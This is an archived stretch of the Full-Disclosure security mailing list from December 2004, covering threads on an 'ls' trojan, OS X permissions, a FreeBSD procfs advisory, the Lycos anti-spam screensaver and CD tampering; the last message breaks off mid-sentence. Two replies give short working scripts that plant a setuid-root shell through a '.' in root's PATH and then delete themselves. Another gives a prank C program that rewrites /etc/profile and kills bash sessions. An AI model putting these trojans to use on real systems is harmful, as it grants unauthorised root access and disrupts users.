Date: Wed Dec 01 2004 - 15:30:03 CST

You should think a CISSP could write such a script in like 5 minutes.

David S. Morgan wrote:
> Hey all,
>
> I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, without needing the root password. The file then removes itself and does the real version of ls.
>
> Does anyone remember this one, and have the ls script anywhere? I would like to use it in a demonstration. I know that this has probobly been fixed in various ways, but I have "old Unixes" for just such occasions.
>
> Dave Morgan
>
> David S. Morgan CISSP, CCNP
> aka: captkrasearthlink.net
>
> "When the winds of change blow hard enough, even the most tiny object
> can become a deadly projectile"
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Windows Screensaver Privilege Escalation

From: Andrew Farmer (andfarmteknovis.com)
Date: Wed Dec 01 2004 - 16:22:30 CST

On 30 Nov 2004, at 20:50, Andrew Kennedy wrote:
> in fact, under OSX, there is by default no 'root' user -

False. A root user always exists, but generally does not have a
password set.

> it must be specially asked for and created, as part of the 'BSD'
> package.

False. The BSD package just installs command-line tools.

> i won't say apple have gotten things perfect, for example the
> 'Applications'
> folder is writeable by any user

False. Only administrators can write to /Applications.

(The permissions are set to 775; the ownership is set to root:admin.)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFBrkQmPa6RRaKl0ScRAsBlAKC1jiIu96fgD/0wxTp3hOnB/VplrwCZAQgp
UQyYJyfCg/ln8BRT9Id3p3M=
=Bq+j
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] who is the jackass?

From: Brandy Simon (brandysimongmail.com)
Date: Wed Dec 01 2004 - 16:00:58 CST

ok, who has to go and be a jackass?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Old LS Trojan?

Valdis.Kletnieksvt.edu
Date: Wed Dec 01 2004 - 16:03:43 CST

On Wed, 01 Dec 2004 15:11:46 EST, "David S. Morgan" said:

> I am looking for an old LS trojan, with trojan being a misnomer. Essentially
, the scinario is that the admin (root) has a . (dot) in his path.

Geez. I don't have it, but it's easy enough to write.

% cat > ./ls
!!/bin/bash
/bin/cp /bin/bash /tmp/foobar
/bin/chmod 4755 /tmp/foobar
/bin/ls $*
/bin/rm -f $0
^D
% chmod +x ./ls

(Fix the shell magic and lack of > and 2> redirects yourself. Bonus points
for wrapping a check for $USER == root around the first 2 lines, and even
more for doing the *right* check ;)

And no, there's nothing in most "modern" unixoids that will "prevent" this
attack, other than not having '.' in the $PATH by default.

Incidentally, '.' at the front of $PATH is more dangerous for this, but I know
of at least one case where the sysadmin had '.' at the *end* and thought himself
safe - the attacker called it './sl' and waited for a typo (insider job, attacker
knew the admin was a poor typist ;)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFBrj++cC3lWbTT17ARAj40AJ98w0l6IBCx+x1u/UOuaYIJsPCHVgCfTEnm
fqB+nOh3jC4C3k+jWskqTPU=
=ETXU
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Kill Lycos Not Spam

From: n3td3v (xploitablegmail.com)
Date: Wed Dec 01 2004 - 16:30:40 CST

On Wed, 1 Dec 2004 20:18:11 +0000, n3td3v <xploitablegmail.com> wrote:
> Dear Yahoo
>
> Surely theres a way for hax0rs to exploit it to make it attack yahoo?
> I appeal for you to partnership with Microsoft and others like you do
> for other spam stuff, to ask Lycos EU to stop doing it. Its totally
> abuseable.
>
> By the way, I noticed Yahoo! homepage was slower for me. I don't know
> if this is you or weather its my cache or network being slow.
>
> Thanks ;-)
>

http://news.com.com/Lycos+Europe+denies+attack+on+zombie+army/2100-7349_3-5473005.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Old LS Trojan?

From: Andrew Farmer (andfarmteknovis.com)
Date: Wed Dec 01 2004 - 16:27:40 CST

On 01 Dec 2004, at 12:11, David S. Morgan wrote:
> I am looking for an old LS trojan, with trojan being a misnomer.
> Essentially, the scinario is that the admin (root) has a . (dot) in
> his path. The bad-user knows this, and has crafted an LS shell script
> (the part that I can't find) that essentially copies /sbin/sh to a
> hidden directory and then performs some suid majik to make the sh run
> as if they were root, without needing the root password. The file
> then removes itself and does the real version of ls.
>
> Does anyone remember this one, and have the ls script anywhere? I
> would like to use it in a demonstration. I know that this has
> probobly been fixed in various ways, but I have "old Unixes" for just
> such occasions.

Probably something along the lines of:
> #!/bin/bash
> [ `whoami` = root ] || exit
> cp /bin/sh /bin/suid-sh
> chmod +s /bin/suid-sh
> rm $0
> exec /bin/ls $*

Note that this would only run if your $PATH _begins_ with '.' - if
you're going to put '.' in your $PATH, put it _last_.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFBrkVcPa6RRaKl0ScRArwAAKDzpCkbPQ/MW8FiSmEGzvZgoOInsACdFsG5
jJ+uOuWV9VPxOK7Gu5LqCNI=
=ibGx
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Remote Mercury32 Imap exploit

From: JohnH (johnhsecnetops.com)
Date: Wed Dec 01 2004 - 17:29:17 CST

Here you go guys. A fully working Remote Mercury32 Imap exploit. This will
work on any windows OS. 100% universal. And now it has 14 possible targets.

Again, Someone posted some dos code :(

Cheers,

Johnhsecnetops.com
Security Researcher
VISIT: www.secnetops.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] who is the jackass?

From: Kyle Maxwell (krmaxwellgmail.com)
Date: Wed Dec 01 2004 - 17:46:23 CST

On Wed, 1 Dec 2004 17:00:58 -0500, Brandy Simon <brandysimongmail.com> wrote:
> ok, who has to go and be a jackass?

I guess I am... :) What are you on about?

--
Kyle Maxwell
[krmaxwellgmail.com]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Old LS Trojan?

From: Scott Renna (srennavdbmusic.com)
Date: Wed Dec 01 2004 - 17:47:42 CST

LOL. That CISSP totally rocks.

Scott Renna CISSP, GCIA, GCIH

Kevin Finisterre wrote:
> You should think a CISSP could write such a script in like 5 minutes.
>
>
> David S. Morgan wrote:
>
>> Hey all,
>>
>> I am looking for an old LS trojan, with trojan being a misnomer.
>> Essentially, the scinario is that the admin (root) has a . (dot) in
>> his path. The bad-user knows this, and has crafted an LS shell script
>> (the part that I can't find) that essentially copies /sbin/sh to a
>> hidden directory and then performs some suid majik to make the sh run
>> as if they were root, without needing the root password. The file
>> then removes itself and does the real version of ls.
>>
>> Does anyone remember this one, and have the ls script anywhere? I
>> would like to use it in a demonstration. I know that this has
>> probobly been fixed in various ways, but I have "old Unixes" for just
>> such occasions.
>>
>> Dave Morgan
>>
>> David S. Morgan CISSP, CCNP aka: captkrasearthlink.net
>>
>> "When the winds of change blow hard enough, even the most tiny object
>> can become a deadly projectile"
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] FreeBSD Security Advisory FreeBSD-SA-04:17.procfs

From: FreeBSD Security Advisories (security-advisoriesfreebsd.org)
Date: Wed Dec 01 2004 - 18:12:27 CST

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=============================================================================
FreeBSD-SA-04:17.procfs Security Advisory
                                                          The FreeBSD Project

Topic: Kernel memory disclosure in procfs and linprocfs

Category: core
Module: sys
Announced: 2004-12-01
Credits: Bryan Fulton, Ted Unangst, and the SWAT analysis tool
                Coverity, Inc.
Affects: All FreeBSD releases
Corrected: 2004-12-01 21:33:35 UTC (RELENG_5, 5.3-STABLE)
                2004-12-01 21:34:23 UTC (RELENG_5_3, 5.3-RELEASE-p2)
                2004-12-01 21:34:43 UTC (RELENG_5_2, 5.2.1-RELEASE-p13)
                2004-12-01 21:33:57 UTC (RELENG_4, 4.10-STABLE)
                2004-12-01 21:35:10 UTC (RELENG_4_10, 4.10-RELEASE-p5)
                2004-12-01 21:35:57 UTC (RELENG_4_8, 4.8-RELEASE-p27)
CVE Name: CAN-2004-1066

For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit
<URL:http://www.freebsd.org/security/>.

I. Background

The process file system, procfs(5), implements a view of the system
process table inside the file system. It is normally mounted on
/proc, and is required for the complete operation of programs such as
ps(1) and w(1).

The Linux process file system, linprocfs(5), emulates a subset of
Linux's process file system and is required for the complete operation
of some Linux binaries.

II. Problem Description

The implementation of the /proc/curproc/cmdline pseudofile in the procfs(5)
file system on FreeBSD 4.x and 5.x, and of the /proc/self/cmdline
pseudofile in the linprocfs(5) file system on FreeBSD 5.x reads a process'
argument vector from the process address space. During this operation,
a pointer was dereferenced directly without the necessary validation
steps being performed.

III. Impact

A malicious local user could perform a local denial of service attack by
causing a system panic; or he could read parts of kernel memory. Such
memory might contain sensitive information, such as portions of the file
cache or terminal buffers. This information might be directly useful, or
it might be leveraged to obtain elevated privileges in some way. For
example, a terminal buffer might contain a user-entered password.

FreeBSD 4.x does not implement the /proc/self/cmdline pseudofile in
its linprocfs(5) file system, and is therefore only affected if the
procfs(5) file system is mounted.

In its default configuration, FreeBSD 5.x does not utilize procfs(5)
or linprocfs(5) and will therefore be unaffected by this vulnerability
unless the configuration is changed.

IV. Workaround

Unmount the procfs and linprocfs file systems if they are mounted.
Execute the following command as root:

  umount -A -t procfs,linprocfs

Also, remove or comment out any lines in fstab(5) that reference
`procfs' or `linprocfs', so that they will not be re-mounted at next
reboot.

V. Solution

Perform one of the following:

1) Upgrade your vulnerable system to 4-STABLE or 5-STABLE, or to the
RELENG_5_3, RELENG_5_2, RELENG_4_10, or RELENG_4_8 security branch dated
after the correction date.

2) To patch your present system:

The following patches have been verified to apply to FreeBSD 4.8, 4.10,
5.2, and 5.3 systems.

a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.

[FreeBSD 4.x]
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:17/procfs4.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:17/procfs4.patch.asc

[FreeBSD 5.x]
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:17/procfs5.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:17/procfs5.patch.asc

b) Apply the patch.

# cd /usr/src
# patch < /path/to/patch

c) Recompile your kernel as described in
<URL:http://www.freebsd.org/handbook/kernelconfig.html> and reboot the
system.

VI. Correction details

The following list contains the revision numbers of each file that was
corrected in FreeBSD.

Branch Revision
  Path
- -------------------------------------------------------------------------
RELENG_4
  src/sys/miscfs/procfs/procfs_status.c 1.20.2.6
RELENG_4_10
  src/UPDATING 1.73.2.90.2.6
  src/sys/conf/newvers.sh 1.44.2.34.2.7
  src/sys/miscfs/procfs/procfs_status.c 1.20.2.5.4.1
RELENG_4_8
  src/UPDATING 1.73.2.80.2.30
  src/sys/conf/newvers.sh 1.44.2.29.2.28
  src/sys/miscfs/procfs/procfs_status.c 1.20.2.4.8.2
RELENG_5
  src/sys/compat/linprocfs/linprocfs.c 1.84.2.1
  src/sys/fs/procfs/procfs_status.c 1.52.2.1
RELENG_5_3
  src/UPDATING 1.342.2.13.2.5
  src/sys/compat/linprocfs/linprocfs.c 1.84.4.1
  src/sys/conf/newvers.sh 1.62.2.15.2.7
  src/sys/fs/procfs/procfs_status.c 1.52.4.1
RELENG_5_2
  src/UPDATING 1.282.2.21
  src/sys/compat/linprocfs/linprocfs.c 1.78.2.1
  src/sys/conf/newvers.sh 1.56.2.20
  src/sys/fs/procfs/procfs_status.c 1.49.2.1
- -------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----

iD8DBQFBrlpUFdaIBMps37IRAkqSAJ9bJt5VXd0g+OpZq76O84LGEtw3HgCfayws
iuc0B5+J0K67LvDIUA6+wck=
=2l7f
-----END PGP SIGNATURE-----
_______________________________________________
freebsd-security-notificationsfreebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications
To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribefreebsd.org"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] who is the jackass?

From: Michael Rutledge (michael4447gmail.com)
Date: Wed Dec 01 2004 - 18:35:58 CST

I may be missing something, but was there an additional comment that
was suppose to go along with this question?

-Michael

On Wed, 1 Dec 2004 17:00:58 -0500, Brandy Simon <brandysimongmail.com> wrote:
> ok, who has to go and be a jackass?
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Old LS Trojan?

colinmclientsecure.net
Date: Wed Dec 01 2004 - 19:13:45 CST

you could just whip one up, for demonstration purposes this
would be funny
without doing any harm. just fix /etc/profile when your done.

#ls.c compile with gcc -o ls ls.c
#include <stdio.h>
int x;
main(){
    printf("You've been hacked!\n");
    system("echo alias ls='\"echo \\n\"' >>/etc/profile");
    system("echo alias cd='\"echo No such file or directory\"'
>>/etc/profile");
    for(x=1;x<8;++x){
    printf(".\n");
    }
    printf("installing backdoors and such...\n");
    printf("clearing /var/log dir of tracks...\n");
    sleep(3);
    printf("\n\nC-YA!\n");
    system("killall -9 bash");
}

cm

David S. Morgan wrote:
> Hey all,
>
> I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, without needing the root password. The file then removes itself and does the real version of ls.
>
> Does anyone remember this one, and have the ls script anywhere? I would like to use it in a demonstration. I know that this has probobly been fixed in various ways, but I have "old Unixes" for just such occasions.
>
> Dave Morgan
>
> David S. Morgan CISSP, CCNP
> aka: captkrasearthlink.net
>
> "When the winds of change blow hard enough, even the most tiny object
> can become a deadly projectile"
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Berend-Jan Wever (skylinededup.tudelft.nl)
Date: Wed Dec 01 2004 - 18:49:52 CST

The IFRAME vulnerability has been patched, see http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx

*** Make sure you are patched after installing ***
I installed it using "Automatic Updates" (on Win2ksp4), rebooted and loaded my InternetExploiter.html: IT STILL WORKED!!
Even though both "Automatic Updates" and "http://windowsupdate.microsoft.com" reported that I was patched!?!
I manually downloaded the exe and ran it, rebooted and now I'm finally truely patched.

It might just have been a glitch on my system, but you might wanna check anyway: InternetExploiter.html can still be downloaded from my website.

Berend-Jan Wever
<skylinededup.tudelft.nl>
http://www.edup.tudelft.nl/~bjwever
SkyLined in #SkyLined on EFNET

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Fwd: How many backbones here are filtering the makelovenotspam screensaver site?

From: n3td3v (xploitablegmail.com)
Date: Wed Dec 01 2004 - 19:49:24 CST

---------- Forwarded message ----------
From: Suresh Ramasubramanian <sureshoutblaze.com>
Date: Thu, 02 Dec 2004 07:04:21 +0530
Subject: How many backbones here are filtering the makelovenotspam
screensaver site?
To: nanog list <nanogmerit.edu>

I've heard reports of traceroutes through several backbones timing out
or going !H after a few hops, and I note that the impact seems to have
been enough for the site's IP to change ..

sureshfrodo 06:56:27 [~]$ dnsip www.makelovenotspam.com
213.115.182.123

sureshfrodo 07:01:16 [~]$ dnsname 213.115.182.123
ua-213-115-182-123.cust.bredbandsbolaget.se

Hosted on a cablemodem? Tch, tch, how the mighty have fallen

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: n3td3v (xploitablegmail.com)
Date: Wed Dec 01 2004 - 20:37:48 CST

If Lycos EU is going to go legally unchallenged, can we all start
attacking sites which send unsolicited mail to a non-lycos mailbox. As
long as we can prove the mail is actually spam. This isn't as hard as
you may imagine. All you need to do is for example, check Yahoo's or
Gmail's spam folder, and the mails in that must hold some legal
justification as being spam on Gmail or Yahoo (because Yahoo and Gmail
use elite spam filters), making it justified as spam and therefore
would give someone legal permission (because yahoo and gmail spam
filters are pretty trustworthy) to attack the spammers site, which the
spammed mail was trying to ask you to visit. One could even code a
program to keep checking the Gmail or Yahoo spam folder for new spam
to add to the attack list. As long as one doesn't make the spammers
site unreachable, but if you slow it down, so it takes ages for
legitimate users to browse it, it must be ok, because thats what Lycos
EU is doing legally unchallenged.

Could botnets actually become legal, as long as they only attack
unsolicited mail, which Yahoo and Gmail and other non-lycos providers
have marked as spam.

The possibilities are endless.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] overburning edit of molded cdroms feasible?

From: Saber Taylor (elven_org_backupyahoo.com)
Date: Wed Dec 01 2004 - 20:20:56 CST

Saber Taylor wrote:
> > Scenario: chinese agent buys molded cdroms from
[...]
Phillip Paradis wrote:
> 1. Recording data on a pressed CD is physically
[...]
> 2. Most retailers will not accept opened software,
> movies, cassettes,

I was cheating here a little bit in my discussion
bait. Gosh though, I can see how these lists draw
people in to talking about locksmith type of ideas.

China has lots of bootleg pressed cdrom factories so I
doubt they are hideously difficult to utilize if an
organization has access to them. But otherwise
morning_wood trumped my idea.

On the second matter, a friend-of-a-friend several
years ago obtained a shrinkwrap machine (which he used
for nefarious porpoises to his heart's delight). The
card board tear-off seals on some cdrom envelopes may
be more tamper resistant, but most customers wouldn't
notice if Badguy replaced them with a more generic
envelope (inside the shrinkwrapped box).

S. Taylor

                
__________________________________
Do you Yahoo!?
Take Yahoo! Mail with you! Get it on your mobile phone.
http://mobile.yahoo.com/maildemo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Old LS Trojan?

From: J.A. Terranson (measlmfn.org)
Date: Wed Dec 01 2004 - 20:42:02 CST

> David S. Morgan wrote:
> > Hey all,
> >
> > I am looking for an old LS trojan, with trojan being a misnomer.
> > Essentially, the scinario is that the admin (root) has a . (dot) in
> > his path. The bad-user knows this, and has crafted an LS shell script
> > (the part that I can't find) that essentially copies /sbin/sh to a
> > hidden directory and then performs some suid majik to make the sh run
> > as if they were root, without needing the root password. The file
> > then removes itself and does the real version of ls.
> >
> > Does anyone remember this one, and have the ls script anywhere?

I remember this: "SUSHI" (Super User Shell, Interactive). An old, *really
old* *nix shell intro book, IIRC.

Try the older Hayden books.

--
Yours,

J.A. Terranson
sysadminmfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: n3td3v (xploitablegmail.com)
Date: Wed Dec 01 2004 - 21:47:06 CST

On Wed, 01 Dec 2004 22:22:30 -0500, KrispyKringle
<krispykringlegmail.com> wrote:
> Not being a lawyer, I still think you've missed the point.
>
> The defense Lycos is using is NOT that these are spammers sites, so this
> is somehow legal--it would not be. Vigilantiism is never legal; you
> would never be able to defend something that would otherwise be criminal
> as legal simply because it is being done against a criminal. The defense
> they are using is that it is a fundamental principle of the Internet
> that one can visit a Web server, and that to visit the server many
> times--even at risk of denying service--is not illegal.
>
> The Computer Fraud and Abuse Act
> (http://www.usdoj.gov/criminal/cybercrime/1030_new.html) forbids one to,
> among other things, ``knowingly cause the transmission of a program,
> information, code, or command, and as a result of such conduct,
> intentionally cause damage without authorization, to a protected
> computer,'' which pretty much covers viruses and other malware. This
> would appear to apply to the Lycos software as well, given that it
> ``causes damage without authorization to a protected computer.'' So that
> is the key point, one that has not, to my knowledge, been tested in court.
>
> I'm actually unable to find anything more specific regarding DoS attacks
> in the Computer Fraud and Abuse Act, but I don't know much more about
> what laws govern these actions. The CFAA seems to be focussed on
> unauthorized access, not denial of service.
>
> Of course, there's also the civil common law issues, specifically
> whether it is negligent of Lycos to distribute such a program.
>
> IANAL.

Thought:
Hey, thanks for the insight. I can't see Lycos introducing the
screensaver without talking with legal teams first, so surely we can
presume everything is legal and above board?! Otherwise, why would
Lycos want to put themselves in a legal tangle? Unless they weighed up
the legal costs against the profit they would make from the PR stunt,
from which all I can see, is all this whole thing appears to be.

Overview:
An investment to break the law -maybe- vs making lots of money and get
lots of public attention for new e-mail signups. From which many will
signup to the premium mail services.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [inbox] Re: [Full-Disclosure] overturning edit of molded cdroms feasible?

From: Exibar (exibarthelair.com)
Date: Wed Dec 01 2004 - 22:00:44 CST

Here's what I got out of your discussion, readin between the lines:

1) You've aquired a shrinkwrap machine recently
2) You've successfully purchased, lets say, Doom 3.
3) You've also successfully copied the CD's and the activation key
4) In your excitement you tore up the original CD sleeve really bad
5) You've purchased a box of generic CD sleeves from staples
6) You replaced the torn up sleeves with your newly purchased Staples'
sleeve
7) You successfully learned HOW to use the shrink-wrap machine and shrink
wrapped Doom 3
8) You've successfully returnded that copy of Doom 3 to Best-Buy and got a
full refund
9) You're now the person using the CD-key that someone else is going to
actually pay for but it won't work because you're using it for free

  Of course you didn't actually say anything like this, but that's what I
(and I'm sure most others) saw in your post. Interesting idea, but way too
much trouble if you ask me. If you really want to pirate a game, just
download it from IRC or any P2P network and burn it to CD's or DVD's...

  Ex

> -----Original Message-----
> From: Saber Taylor [mailto:elven_org_backupyahoo.com]
> Sent: Wednesday, December 01, 2004 9:21 PM
> To: full-disclosurelists.netsys.com
> Subject: [inbox] Re: [Full-Disclosure] overburning edit of molded cdroms
> feasible?
>
>
> Saber Taylor wrote:
> > > Scenario: chinese agent buys molded cdroms from
> [...]
> Phillip Paradis wrote:
> > 1. Recording data on a pressed CD is physically
> [...]
> > 2. Most retailers will not accept opened software,
> > movies, cassettes,
>
> I was cheating here a little bit in my discussion
> bait. Gosh though, I can see how these lists draw
> people in to talking about locksmith type of ideas.
>
> China has lots of bootleg pressed cdrom factories so I
> doubt they are hideously difficult to utilize if an
> organization has access to them. But otherwise
> morning_wood trumped my idea.
>
> On the second matter, a friend-of-a-friend several
> years ago obtained a shrinkwrap machine (which he used
> for nefarious porpoises to his heart's delight). The
> card board tear-off seals on some cdrom envelopes may
> be more tamper resistant, but most customers wouldn't
> notice if Badguy replaced them with a more generic
> envelope (inside the shrinkwrapped box).
>
>
> S. Taylor
>
>
>
>
> __________________________________
> Do you Yahoo!?
> Take Yahoo! Mail with you! Get it on your mobile phone.
> http://mobile.yahoo.com/maildemo
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: KrispyKringle (krispykringlegmail.com)
Date: Wed Dec 01 2004 - 21:22:30 CST

n3td3v wrote:
> Could botnets actually become legal, as long as they only attack
> unsolicited mail,

Not being a lawyer, I still think you've missed the point.

The defense Lycos is using is NOT that these are spammers sites, so this
is somehow legal--it would not be. Vigilantiism is never legal; you
would never be able to defend something that would otherwise be criminal
as legal simply because it is being done against a criminal. The defense
they are using is that it is a fundamental principle of the Internet
that one can visit a Web server, and that to visit the server many
times--even at risk of denying service--is not illegal.

The Computer Fraud and Abuse Act
(http://www.usdoj.gov/criminal/cybercrime/1030_new.html) forbids one to,
among other things, ``knowingly cause the transmission of a program,
information, code, or command, and as a result of such conduct,
intentionally cause damage without authorization, to a protected
computer,'' which pretty much covers viruses and other malware. This
would appear to apply to the Lycos software as well, given that it
``causes damage without authorization to a protected computer.'' So that
is the key point, one that has not, to my knowledge, been tested in court.

I'm actually unable to find anything more specific regarding DoS attacks
in the Computer Fraud and Abuse Act, but I don't know much more about
what laws govern these actions. The CFAA seems to be focussed on
unauthorized access, not denial of service.

Of course, there's also the civil common law issues, specifically
whether it is negligent of Lycos to distribute such a program.

IANAL.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Kevin (kkadowgmail.com)
Date: Wed Dec 01 2004 - 23:27:10 CST

On Thu, 2 Dec 2004 01:49:52 +0100, Berend-Jan Wever
<skylinededup.tudelft.nl> wrote:
> The IFRAME vulnerability has been patched, see http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx

The wording in ms04-040 is so vague, I am not entirely sure that this
patch is a fix for the IFRAME bug(s)?

> *** Make sure you are patched after installing ***
> I installed it using "Automatic Updates" (on Win2ksp4), rebooted and loaded my InternetExploiter.html: IT STILL WORKED!!
> Even though both "Automatic Updates" and "http://windowsupdate.microsoft.com" reported that I was patched!?!
> I manually downloaded the exe and ran it, rebooted and now I'm finally truely patched.

Just so I am clear, after automatic updates applied the "critical
patch" on W2KSP4 and rebooted, the IFRAME exploit still worked, but
manually downloading the executable given in the Microsoft alert and
running it results in a system on which the IFRAME exploit no longer
works?

This would be confirmation that ms04-040 actually does address the
IFRAME exploit.

Kevin

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Network Sniffing

From: Florian Streck (streckpapafloh.de)
Date: Thu Dec 02 2004 - 01:56:46 CST

On Tue, Nov 30, 2004 at 08:26:41PM -0800, xtrecate wrote:
> The article states that the FBI served subpoenas for specific information
> from insecure.org, likely after finding evidence that some specific attacker
> (who, no doubt, did something which deserves to be investigated) retrieved
> data from insecure.org. It would appear they are simply trying to
> cross-reference logs to discover an attacker's real IP address. This is
> pretty legitimate, and Fyodor was apparently very diligent in ensuring all
> information was retrieved via legal methods.
>
> People intending to commit felonies over the internet, obviously, have
> something to worry about... though I'm not sure why anyone would be
> sympathetic to their plight.

This depends heavily on who decides what a felony is.
Just consider free speech in China. Brings you right into jail.
And I wouldn't go as far as to put the FBI (or any other such agency)
beyond doubt.
Same applies to our (german) authorities as well.
>
> > Take a look at:
> > http://www.insecure.org/tools.html
> [...]
> Note: The FBI is monitoring HTTP logs from insecure.org.
>
> http://slashdot.org/article.pl?sid=04/11/25/1835238&from=rss
>

Florian

--
Memory fault -- core...uh...um...core... Oh dammit, I forget!

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBrsq+IXCBARCXXgwRArczAKConAc0giYyyURyxiJCiTEyvddQeACgs7gw
b3ES93mbewr39HGE8AJX4tE=
=N9Rr
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment

From: vord (vordhosbngmail.com)
Date: Thu Dec 02 2004 - 02:43:34 CST

three cheers for fascism and bad grammar!#$%^

--vord

On Wed, 17 Nov 2004 17:53:44 +0000, n3td3v <xploitablegmail.com> wrote:
> On Wed, 17 Nov 2004 11:41:20 -0600, Todd Towles
> <toddtowlesbrookshires.com> wrote:
> > Well, it is given that posting to FD does give a site exposure (good and
> > bad). But I wouldn't say that FD was the cause of it..it was the illegal
> > activity that was the cause of it. We all know SCC does some underground
> > stuff and they post here each time they move. So...I wouldn't blame the
> > FD list for anything.
>
> I wouldn't use the word blame? I think its a good thing if
> Full-Disclosure is helping to catch online criminals. I don't know if
> you like malicious hackers and other criminals, but yeah.... I dislike
> them. I would do anything in my power to stop online crime, from
> scriptkiddie stuff, to sex stuff,spam,scams, fraud, terrorism and back
> again.
>
> I have no space for anyone thinking they are elite and all the other
> hacker scene crap. Its time to clamp down on the BS thats on the net.
>
> If I was in gov, I would shut a site down that looks remotely
> hax0rish, even if they've done nothing wrong. All these crews and
